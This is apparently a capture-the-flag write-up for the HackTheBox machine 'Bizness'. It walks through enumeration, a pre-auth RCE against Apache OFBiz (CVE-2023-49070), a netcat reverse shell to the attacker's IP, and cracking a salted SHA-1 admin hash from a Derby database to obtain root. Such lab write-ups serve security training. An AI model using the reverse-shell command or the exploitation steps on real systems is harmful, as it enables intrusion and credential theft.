Post

HackTheBox Bizness

Writeup for HackTheBox Bizness

HackTheBox Bizness

Machine Synopsis

Key exploitation techniques:

  • Apache OFBiz Pre-Auth RCE (CVE-2023-49070/CVE-2023-51467)
  • Docker container analysis (entrypoint script)
  • Information disclosure from Derby database (hashed password)
  • Custom hash format decoding and cracking (salted SHA-1)
  • su for root access

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ nmap -sV -sC 10.10.11.252

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp  open  http     nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp open  ssl/http nginx 1.18.0
| tls-nextprotoneg: 
|_  http/1.1
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after:  2328-11-10T20:03:40
|_http-title: Did not follow redirect to https://bizness.htb/
|_http-server-header: nginx/1.18.0
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The scan identified SSH, Nginx on ports 80 and 443 (with SSL).

webpage

ffuf was used for directory enumeration on the HTTPS service, revealing a /control endpoint.

1
2
3
$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -u https://bizness.htb/FUZZ -ac
...
control                 [Status: 200, Size: 34633, Words: 10468, Lines: 492, Duration: 217ms]

webpage_control

Further enumeration on /control revealed common sub-endpoints like /login.

1
2
3
4
$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -u https://bizness.htb/control/FUZZ -ac
...
login                   [Status: 200, Size: 11060, Words: 1236, Lines: 186, Duration: 989ms]
...

webpage_control_login

Browsing to https://bizness.htb/control/login revealed “Powered by Apache OFBiz. Release 18.12” in the footer.

Exploitation

Apache OFBiz RCE (ofbiz) via CVE-2023-49070

Apache OFBiz Release 18.12 is known to be vulnerable to CVE-2023-49070 (and related CVE-2023-51467), a pre-authentication RCE. A public exploit script was used to gain a reverse shell.

1
2
3
4
5
6
7
8
9
10
11
# Execute the exploit script with attacker IP and port
$ python3 exploit.py --url "https://bizness.htb/" --cmd "nc 10.10.14.11 9001 -e /bin/bash"

# Set up Netcat listener
$ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.252] 50664
whoami
ofbiz
/usr/bin/script -qc /bin/bash /dev/null
ofbiz@bizness:/opt/ofbiz$

This successfully granted a reverse shell as the ofbiz user.

Privilege Escalation

OFBiz Admin Password Hash (Root)

Initial enumeration involved analyzing the Dockerfile and docker-entrypoint.sh script located in /opt/ofbiz/docker.

1
2
3
4
5
6
7
8
9
10
ofbiz@bizness:/opt/ofbiz$ cat Dockerfile
...
USER ofbiz
WORKDIR /ofbiz
...
COPY --chmod=555 docker/docker-entrypoint.sh docker/send_ofbiz_stop_signal.sh .
...
ENTRYPOINT ["/ofbiz/docker-entrypoint.sh"]
CMD ["bin/ofbiz"]
...

The docker-entrypoint.sh script revealed how the admin password hash is generated and loaded into the OFBiz application. It concatenates a random salt with the admin password, takes a SHA-1 hash, converts it to URL Base64, and then formats it as $SHA${SALT}${SHA1SUM_BASE64} before overwriting framework/resources/templates/AdminUserLoginData.xml.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ofbiz@bizness:/opt/ofbiz/docker$ cat docker-entrypoint.sh
#!/usr/bin/env bash
...
load_admin_user() {
  if [ ! -f "$CONTAINER_ADMIN_LOADED" ]; then
    TMPFILE=$(mktemp)
    SALT=$(tr --delete --complement A-Za-z0-9 </dev/urandom | head --bytes=16)
    SALT_AND_PASSWORD="${SALT}${OFBIZ_ADMIN_PASSWORD}"
    SHA1SUM_ASCII_HEX=$(printf "$SALT_AND_PASSWORD" | sha1sum | cut --delimiter=' ' --fields=1 --zero-terminated | tr --delete '\000')
    SHA1SUM_ESCAPED_STRING=$(printf "$SHA1SUM_ASCII_HEX" | sed -e 's/\(..\)\.\?/\\x\1/g')
    SHA1SUM_BASE64=$(printf "$SHA1SUM_ESCAPED_STRING" | basenc --base64url --wrap=0 | tr --delete '=')
    ENCODED_PASSWORD_HASH="\$SHA\$${SALT}\$${SHA1SUM_BASE64}"
    sed "s/@userLoginId@/$OFBIZ_ADMIN_USER/g; s/currentPassword=\".*\"/currentPassword=\"$ENCODED_PASSWORD_HASH\"/g;" framework/resources/templates/AdminUserLoginData.xml >"$TMPFILE"
    /ofbiz/bin/ofbiz --load-data "file=$TMPFILE"
    rm "$TMPFILE"
    touch "$CONTAINER_ADMIN_LOADED"
  fi
}
...

The default admin password hash in framework/resources/templates/AdminUserLoginData.xml was noted as a placeholder.

1
2
3
4
5
6
ofbiz@bizness:/opt/ofbiz$ cat framework/resources/templates/AdminUserLoginData.xml
...
<entity-engine-xml>
    <UserLogin userLoginId="@userLoginId@" currentPassword="{SHA}47ca69ebb4bdc9ae0adec130880165d2cc05db1a" requirePasswordChange="Y"/>
    <UserLoginSecurityGroup groupId="SUPER" userLoginId="@userLoginId@" fromDate="2001-01-01 12:00:00.0"/>
</entity-engine-xml>

To find the actual loaded password hash, a grep command was used to search for currentPassword= while excluding the known default hash. This identified runtime/data/derby/ofbiz/seg0/c54d0.dat as containing the active hash.

1
2
3
4
5
ofbiz@bizness:/opt/ofbiz$ grep -arl 'currentPassword=' . | xargs grep -lav '47ca69ebb4bdc9ae0adec130880165d2cc05db1a'
./applications/datamodel/data/demo/WorkEffortDemoData.xml
...
./runtime/data/derby/ofbiz/seg0/c54d0.dat
...

Extracting the hash from c54d0.dat:

1
2
ofbiz@bizness:/opt/ofbiz$ grep -ia 'currentPassword=' ./runtime/data/derby/ofbiz/seg0/c54d0.dat
                <eeval-UserLogin createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y" hasLoggedOut="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" requirePasswordChange="N" userLoginId="admin"/>

The extracted hash was $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I. Based on the docker-entrypoint.sh script, this format is $SHA${SALT}${SHA1SUM_BASE64}. The SHA1SUM_BASE64 part (uP0_QaVBpDWFeo8-dRzDqRwXQ2I) needed to be converted from URL Base64 to its raw SHA-1 hexadecimal representation, and the salt d needed to be appended for hashcat. CyberChef was used to convert the Base64 portion to b8fd3f41a541a435857a8f3e751cc3a91c174362.

The final hash format for hashcat (mode 120 for SHA-1(salt+pass)) was b8fd3f41a541a435857a8f3e751cc3a91c174362:d.

1
2
3
4
5
6
echo 'b8fd3f41a541a435857a8f3e751cc3a91c174362:d' > hash
❯ hashcat -a 0 -m 120 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
...
b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness
...

The password monkeybizness was successfully cracked. This password was for the root user.

1
2
3
ofbiz@bizness:/opt/ofbiz$ su root
Password: monkeybizness
root@bizness:/opt/ofbiz#
This post is licensed under CC BY 4.0 by the author.